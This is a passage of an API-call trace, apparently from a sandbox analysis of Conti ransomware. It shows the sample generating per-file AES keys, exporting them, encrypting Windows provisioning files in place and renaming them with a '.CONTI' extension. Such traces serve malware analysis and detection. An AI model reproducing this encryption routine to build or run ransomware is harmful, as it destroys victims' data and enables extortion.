	[0113.862] MoveFileW (lpExistingFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\672__Connections_Cellular_Dell (United Kingdom)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\672__connections_cellular_dell (united kingdom)_i0$(__mvid)@wap.provxml"), lpNewFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\672__Connections_Cellular_Dell (United Kingdom)_i0$(__MVID)@WAP.provxml.CONTI" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\672__connections_cellular_dell (united kingdom)_i0$(__mvid)@wap.provxml.conti")) returned 1
	[0113.863] GetProcessHeap () returned 0x1720000
	[0113.863] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x6562118 | out: hHeap=0x1720000) returned 1
	[0113.863] CryptDestroyKey (hKey=0x17c7830) returned 1
	[0113.863] GetProcessHeap () returned 0x1720000
	[0113.863] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x17fb208 | out: hHeap=0x1720000) returned 1
	[0113.863] GetQueuedCompletionStatus (in: CompletionPort=0x1b0, lpNumberOfBytesTransferred=0x37ffd14, lpCompletionKey=0x37ffd18, lpOverlapped=0x37ffd24, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x37ffd14, lpCompletionKey=0x37ffd18, lpOverlapped=0x37ffd24) returned 1
	[0113.863] CryptGenKey (in: hProv=0x1745e90, Algid=0x6610, dwFlags=0x1, phKey=0x6b46528 | out: phKey=0x6b46528*=0x17c7bf0) returned 1
	[0113.863] CryptExportKey (in: hKey=0x17c7bf0, hExpKey=0x173a710, dwBlobType=0x1, dwFlags=0x0, pbData=0x6b4652c, pdwDataLen=0x37ffcec | out: pbData=0x6b4652c*, pdwDataLen=0x37ffcec*=0x20c) returned 1
	[0113.864] GetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\674__Connections_Cellular_LG U+ (Korea)_i1$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\674__connections_cellular_lg u+ (korea)_i1$(__mvid)@wap.provxml")) returned 0x20
	[0113.875] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\674__Connections_Cellular_LG U+ (Korea)_i1$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\674__connections_cellular_lg u+ (korea)_i1$(__mvid)@wap.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x380
	[0113.875] GetLastError () returned 0x0
	[0113.875] GetFileSizeEx (in: hFile=0x380, lpFileSize=0x37ffc98 | out: lpFileSize=0x37ffc98*=722) returned 1
	[0113.875] SetFilePointer (in: hFile=0x380, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0x2d2
	[0113.875] SetFilePointerEx (in: hFile=0x380, liDistanceToMove=0x232, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0113.875] SetEndOfFile (hFile=0x380) returned 1
	[0113.875] SetFilePointer (in: hFile=0x380, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0113.876] SetFilePointerEx (in: hFile=0x380, liDistanceToMove=0xfffffdec, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0113.876] WriteFile (in: hFile=0x380, lpBuffer=0x6b4652c*, nNumberOfBytesToWrite=0x20c, lpNumberOfBytesWritten=0x37ffca4, lpOverlapped=0x0 | out: lpBuffer=0x6b4652c*, lpNumberOfBytesWritten=0x37ffca4*=0x20c, lpOverlapped=0x0) returned 1
	[0113.877] SetFilePointer (in: hFile=0x380, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0113.877] ReadFile (in: hFile=0x380, lpBuffer=0x8950000, nNumberOfBytesToRead=0x2d2, lpNumberOfBytesRead=0x37ffcc4, lpOverlapped=0x0 | out: lpBuffer=0x8950000*, lpNumberOfBytesRead=0x37ffcc4*=0x2d2, lpOverlapped=0x0) returned 1
	[0113.877] CryptEncrypt (in: hKey=0x17c7bf0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x8950000*, pdwDataLen=0x37ffcbc*=0x2d2, dwBufLen=0x500000 | out: pbData=0x8950000*, pdwDataLen=0x37ffcbc*=0x2e0) returned 1
	[0113.877] SetFilePointerEx (in: hFile=0x380, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0113.877] WriteFile (in: hFile=0x380, lpBuffer=0x8950000*, nNumberOfBytesToWrite=0x2e0, lpNumberOfBytesWritten=0x37ffcd8, lpOverlapped=0x0 | out: lpBuffer=0x8950000*, lpNumberOfBytesWritten=0x37ffcd8*=0x2e0, lpOverlapped=0x0) returned 1
	[0113.877] SetFilePointerEx (in: hFile=0x380, liDistanceToMove=0xfffffff8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0113.877] WriteFile (in: hFile=0x380, lpBuffer=0x6b46520*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x37ffcf0, lpOverlapped=0x0 | out: lpBuffer=0x6b46520*, lpNumberOfBytesWritten=0x37ffcf0*=0x8, lpOverlapped=0x0) returned 1
	[0113.877] SetFilePointer (in: hFile=0x380, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0113.878] CloseHandle (hObject=0x380) returned 1
	[0113.878] GetProcessHeap () returned 0x1720000
	[0113.878] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x7fd7) returned 0x6562118
	[0113.878] lstrcpyW (in: lpString1=0x6562118, lpString2="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\674__Connections_Cellular_LG U+ (Korea)_i1$(__MVID)@WAP.provxml" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\674__Connections_Cellular_LG U+ (Korea)_i1$(__MVID)@WAP.provxml") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\674__Connections_Cellular_LG U+ (Korea)_i1$(__MVID)@WAP.provxml"
	[0113.878] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\674__Connections_Cellular_LG U+ (Korea)_i1$(__MVID)@WAP.provxml", lpString2=".CONTI" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\674__Connections_Cellular_LG U+ (Korea)_i1$(__MVID)@WAP.provxml.CONTI") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\674__Connections_Cellular_LG U+ (Korea)_i1$(__MVID)@WAP.provxml.CONTI"
	[0113.878] MoveFileW (lpExistingFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\674__Connections_Cellular_LG U+ (Korea)_i1$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\674__connections_cellular_lg u+ (korea)_i1$(__mvid)@wap.provxml"), lpNewFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\674__Connections_Cellular_LG U+ (Korea)_i1$(__MVID)@WAP.provxml.CONTI" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\674__connections_cellular_lg u+ (korea)_i1$(__mvid)@wap.provxml.conti")) returned 1
	[0113.878] GetProcessHeap () returned 0x1720000
	[0113.878] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x6562118 | out: hHeap=0x1720000) returned 1
	[0113.878] CryptDestroyKey (hKey=0x17c7bf0) returned 1
	[0113.878] GetProcessHeap () returned 0x1720000
	[0113.878] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x65c5e80 | out: hHeap=0x1720000) returned 1
	[0113.879] GetQueuedCompletionStatus (in: CompletionPort=0x1b0, lpNumberOfBytesTransferred=0x37ffd14, lpCompletionKey=0x37ffd18, lpOverlapped=0x37ffd24, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x37ffd14, lpCompletionKey=0x37ffd18, lpOverlapped=0x37ffd24) returned 1
	[0113.879] CryptGenKey (in: hProv=0x1745e90, Algid=0x6610, dwFlags=0x1, phKey=0x6b44538 | out: phKey=0x6b44538*=0x17c7830) returned 1
	[0113.879] CryptExportKey (in: hKey=0x17c7830, hExpKey=0x173a710, dwBlobType=0x1, dwFlags=0x0, pbData=0x6b4453c, pdwDataLen=0x37ffcec | out: pbData=0x6b4453c*, pdwDataLen=0x37ffcec*=0x20c) returned 1
	[0113.879] GetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\677__Connections_Cellular_Lenovo (United Kingdom)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\677__connections_cellular_lenovo (united kingdom)_i0$(__mvid)@wap.provxml")) returned 0x20
	[0113.879] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\677__Connections_Cellular_Lenovo (United Kingdom)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\677__connections_cellular_lenovo (united kingdom)_i0$(__mvid)@wap.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x380
	[0113.880] GetLastError () returned 0x0
	[0113.880] GetFileSizeEx (in: hFile=0x380, lpFileSize=0x37ffc98 | out: lpFileSize=0x37ffc98*=730) returned 1
	[0113.880] SetFilePointer (in: hFile=0x380, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0x2da
	[0113.880] SetFilePointerEx (in: hFile=0x380, liDistanceToMove=0x22a, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0113.880] SetEndOfFile (hFile=0x380) returned 1
	[0113.880] SetFilePointer (in: hFile=0x380, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0113.880] SetFilePointerEx (in: hFile=0x380, liDistanceToMove=0xfffffdec, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0113.880] WriteFile (in: hFile=0x380, lpBuffer=0x6b4453c*, nNumberOfBytesToWrite=0x20c, lpNumberOfBytesWritten=0x37ffca4, lpOverlapped=0x0 | out: lpBuffer=0x6b4453c*, lpNumberOfBytesWritten=0x37ffca4*=0x20c, lpOverlapped=0x0) returned 1
	[0113.882] SetFilePointer (in: hFile=0x380, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0113.882] ReadFile (in: hFile=0x380, lpBuffer=0x8950000, nNumberOfBytesToRead=0x2da, lpNumberOfBytesRead=0x37ffcc4, lpOverlapped=0x0 | out: lpBuffer=0x8950000*, lpNumberOfBytesRead=0x37ffcc4*=0x2da, lpOverlapped=0x0) returned 1
	[0113.882] CryptEncrypt (in: hKey=0x17c7830, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x8950000*, pdwDataLen=0x37ffcbc*=0x2da, dwBufLen=0x500000 | out: pbData=0x8950000*, pdwDataLen=0x37ffcbc*=0x2e0) returned 1
	[0113.882] SetFilePointerEx (in: hFile=0x380, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0113.882] WriteFile (in: hFile=0x380, lpBuffer=0x8950000*, nNumberOfBytesToWrite=0x2e0, lpNumberOfBytesWritten=0x37ffcd8, lpOverlapped=0x0 | out: lpBuffer=0x8950000*, lpNumberOfBytesWritten=0x37ffcd8*=0x2e0, lpOverlapped=0x0) returned 1
	[0113.882] SetFilePointerEx (in: hFile=0x380, liDistanceToMove=0xfffffff8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0113.882] WriteFile (in: hFile=0x380, lpBuffer=0x6b44530*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x37ffcf0, lpOverlapped=0x0 | out: lpBuffer=0x6b44530*, lpNumberOfBytesWritten=0x37ffcf0*=0x8, lpOverlapped=0x0) returned 1
	[0113.882] SetFilePointer (in: hFile=0x380, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0113.882] CloseHandle (hObject=0x380) returned 1
	[0113.882] GetProcessHeap () returned 0x1720000
	[0113.882] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x7fd7) returned 0x6562118
	[0113.882] lstrcpyW (in: lpString1=0x6562118, lpString2="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\677__Connections_Cellular_Lenovo (United Kingdom)_i0$(__MVID)@WAP.provxml" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\677__Connections_Cellular_Lenovo (United Kingdom)_i0$(__MVID)@WAP.provxml") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\677__Connections_Cellular_Lenovo (United Kingdom)_i0$(__MVID)@WAP.provxml"
	[0113.882] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\677__Connections_Cellular_Lenovo (United Kingdom)_i0$(__MVID)@WAP.provxml", lpString2=".CONTI" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\677__Connections_Cellular_Lenovo (United Kingdom)_i0$(__MVID)@WAP.provxml.CONTI") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\677__Connections_Cellular_Lenovo (United Kingdom)_i0$(__MVID)@WAP.provxml.CONTI"
	[0113.882] MoveFileW (lpExistingFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\677__Connections_Cellular_Lenovo (United Kingdom)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\677__connections_cellular_lenovo (united kingdom)_i0$(__mvid)@wap.provxml"), lpNewFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\677__Connections_Cellular_Lenovo (United Kingdom)_i0$(__MVID)@WAP.provxml.CONTI" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\677__connections_cellular_lenovo (united kingdom)_i0$(__mvid)@wap.provxml.conti")) returned 1
	[0113.883] GetProcessHeap () returned 0x1720000
	[0113.883] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x6562118 | out: hHeap=0x1720000) returned 1
	[0113.883] CryptDestroyKey (hKey=0x17c7830) returned 1
	[0113.883] GetProcessHeap () returned 0x1720000
	[0113.883] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x17f9478 | out: hHeap=0x1720000) returned 1
	[0113.883] GetQueuedCompletionStatus (in: CompletionPort=0x1b0, lpNumberOfBytesTransferred=0x37ffd14, lpCompletionKey=0x37ffd18, lpOverlapped=0x37ffd24, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x37ffd14, lpCompletionKey=0x37ffd18, lpOverlapped=0x37ffd24) returned 1
	[0113.883] CryptGenKey (in: hProv=0x1745e90, Algid=0x6610, dwFlags=0x1, phKey=0x6b45778 | out: phKey=0x6b45778*=0x17c7d30) returned 1
	[0113.883] CryptExportKey (in: hKey=0x17c7d30, hExpKey=0x173a710, dwBlobType=0x1, dwFlags=0x0, pbData=0x6b4577c, pdwDataLen=0x37ffcec | out: pbData=0x6b4577c*, pdwDataLen=0x37ffcec*=0x20c) returned 1
	[0113.884] GetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\678__Connections_Cellular_kt (Korea)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\678__connections_cellular_kt (korea)_i0$(__mvid)@wap.provxml")) returned 0x20
	[0113.884] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\678__Connections_Cellular_kt (Korea)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\678__connections_cellular_kt (korea)_i0$(__mvid)@wap.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x380
	[0113.884] GetLastError () returned 0x0
	[0113.884] GetFileSizeEx (in: hFile=0x380, lpFileSize=0x37ffc98 | out: lpFileSize=0x37ffc98*=703) returned 1
	[0113.885] SetFilePointer (in: hFile=0x380, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0x2bf
	[0113.885] SetFilePointerEx (in: hFile=0x380, liDistanceToMove=0x225, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0113.885] SetEndOfFile (hFile=0x380) returned 1
	[0113.885] SetFilePointer (in: hFile=0x380, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0113.885] SetFilePointerEx (in: hFile=0x380, liDistanceToMove=0xfffffdec, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0113.885] WriteFile (in: hFile=0x380, lpBuffer=0x6b4577c*, nNumberOfBytesToWrite=0x20c, lpNumberOfBytesWritten=0x37ffca4, lpOverlapped=0x0 | out: lpBuffer=0x6b4577c*, lpNumberOfBytesWritten=0x37ffca4*=0x20c, lpOverlapped=0x0) returned 1
	[0113.947] SetFilePointer (in: hFile=0x380, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0113.947] ReadFile (in: hFile=0x380, lpBuffer=0x8950000, nNumberOfBytesToRead=0x2bf, lpNumberOfBytesRead=0x37ffcc4, lpOverlapped=0x0 | out: lpBuffer=0x8950000*, lpNumberOfBytesRead=0x37ffcc4*=0x2bf, lpOverlapped=0x0) returned 1
	[0113.947] CryptEncrypt (in: hKey=0x17c7d30, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x8950000*, pdwDataLen=0x37ffcbc*=0x2bf, dwBufLen=0x500000 | out: pbData=0x8950000*, pdwDataLen=0x37ffcbc*=0x2c0) returned 1
	[0113.947] SetFilePointerEx (in: hFile=0x380, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0113.947] WriteFile (in: hFile=0x380, lpBuffer=0x8950000*, nNumberOfBytesToWrite=0x2c0, lpNumberOfBytesWritten=0x37ffcd8, lpOverlapped=0x0 | out: lpBuffer=0x8950000*, lpNumberOfBytesWritten=0x37ffcd8*=0x2c0, lpOverlapped=0x0) returned 1
	[0113.947] SetFilePointerEx (in: hFile=0x380, liDistanceToMove=0xfffffff8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0113.948] WriteFile (in: hFile=0x380, lpBuffer=0x6b45770*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x37ffcf0, lpOverlapped=0x0 | out: lpBuffer=0x6b45770*, lpNumberOfBytesWritten=0x37ffcf0*=0x8, lpOverlapped=0x0) returned 1
	[0113.948] SetFilePointer (in: hFile=0x380, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0113.948] CloseHandle (hObject=0x380) returned 1
	[0113.948] GetProcessHeap () returned 0x1720000
	[0113.948] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x7fd7) returned 0x6562118
	[0113.948] lstrcpyW (in: lpString1=0x6562118, lpString2="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\678__Connections_Cellular_kt (Korea)_i0$(__MVID)@WAP.provxml" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\678__Connections_Cellular_kt (Korea)_i0$(__MVID)@WAP.provxml") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\678__Connections_Cellular_kt (Korea)_i0$(__MVID)@WAP.provxml"
	[0113.948] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\678__Connections_Cellular_kt (Korea)_i0$(__MVID)@WAP.provxml", lpString2=".CONTI" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\678__Connections_Cellular_kt (Korea)_i0$(__MVID)@WAP.provxml.CONTI") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\678__Connections_Cellular_kt (Korea)_i0$(__MVID)@WAP.provxml.CONTI"
	[0113.948] MoveFileW (lpExistingFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\678__Connections_Cellular_kt (Korea)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\678__connections_cellular_kt (korea)_i0$(__mvid)@wap.provxml"), lpNewFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\678__Connections_Cellular_kt (Korea)_i0$(__MVID)@WAP.provxml.CONTI" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\678__connections_cellular_kt (korea)_i0$(__mvid)@wap.provxml.conti")) returned 1
	[0113.949] GetProcessHeap () returned 0x1720000
	[0113.949] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x6562118 | out: hHeap=0x1720000) returned 1
	[0113.949] CryptDestroyKey (hKey=0x17c7d30) returned 1
	[0113.949] GetProcessHeap () returned 0x1720000
	[0113.949] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x17e0d18 | out: hHeap=0x1720000) returned 1
	[0113.949] GetQueuedCompletionStatus (in: CompletionPort=0x1b0, lpNumberOfBytesTransferred=0x37ffd14, lpCompletionKey=0x37ffd18, lpOverlapped=0x37ffd24, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x37ffd14, lpCompletionKey=0x37ffd18, lpOverlapped=0x37ffd24) returned 1
	[0113.949] CryptGenKey (in: hProv=0x1745e90, Algid=0x6610, dwFlags=0x1, phKey=0x6b47768 | out: phKey=0x6b47768*=0x17c7bf0) returned 1
	[0113.949] CryptExportKey (in: hKey=0x17c7bf0, hExpKey=0x173a710, dwBlobType=0x1, dwFlags=0x0, pbData=0x6b4776c, pdwDataLen=0x37ffcec | out: pbData=0x6b4776c*, pdwDataLen=0x37ffcec*=0x20c) returned 1
	[0113.950] GetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\67__Connections_Cellular_Telefonica (Chile)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\67__connections_cellular_telefonica (chile)_i0$(__mvid)@wap.provxml")) returned 0x20
	[0113.950] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\67__Connections_Cellular_Telefonica (Chile)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\67__connections_cellular_telefonica (chile)_i0$(__mvid)@wap.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x380
	[0113.950] GetLastError () returned 0x0
	[0113.950] GetFileSizeEx (in: hFile=0x380, lpFileSize=0x37ffc98 | out: lpFileSize=0x37ffc98*=711) returned 1
	[0113.950] SetFilePointer (in: hFile=0x380, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0x2c7
	[0113.950] SetFilePointerEx (in: hFile=0x380, liDistanceToMove=0x22d, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0113.950] SetEndOfFile (hFile=0x380) returned 1
	[0113.951] SetFilePointer (in: hFile=0x380, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0113.951] SetFilePointerEx (in: hFile=0x380, liDistanceToMove=0xfffffdec, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0113.951] WriteFile (in: hFile=0x380, lpBuffer=0x6b4776c*, nNumberOfBytesToWrite=0x20c, lpNumberOfBytesWritten=0x37ffca4, lpOverlapped=0x0 | out: lpBuffer=0x6b4776c*, lpNumberOfBytesWritten=0x37ffca4*=0x20c, lpOverlapped=0x0) returned 1
	[0113.956] SetFilePointer (in: hFile=0x380, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0113.956] ReadFile (in: hFile=0x380, lpBuffer=0x8950000, nNumberOfBytesToRead=0x2c7, lpNumberOfBytesRead=0x37ffcc4, lpOverlapped=0x0 | out: lpBuffer=0x8950000*, lpNumberOfBytesRead=0x37ffcc4*=0x2c7, lpOverlapped=0x0) returned 1
	[0113.956] CryptEncrypt (in: hKey=0x17c7bf0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x8950000*, pdwDataLen=0x37ffcbc*=0x2c7, dwBufLen=0x500000 | out: pbData=0x8950000*, pdwDataLen=0x37ffcbc*=0x2d0) returned 1
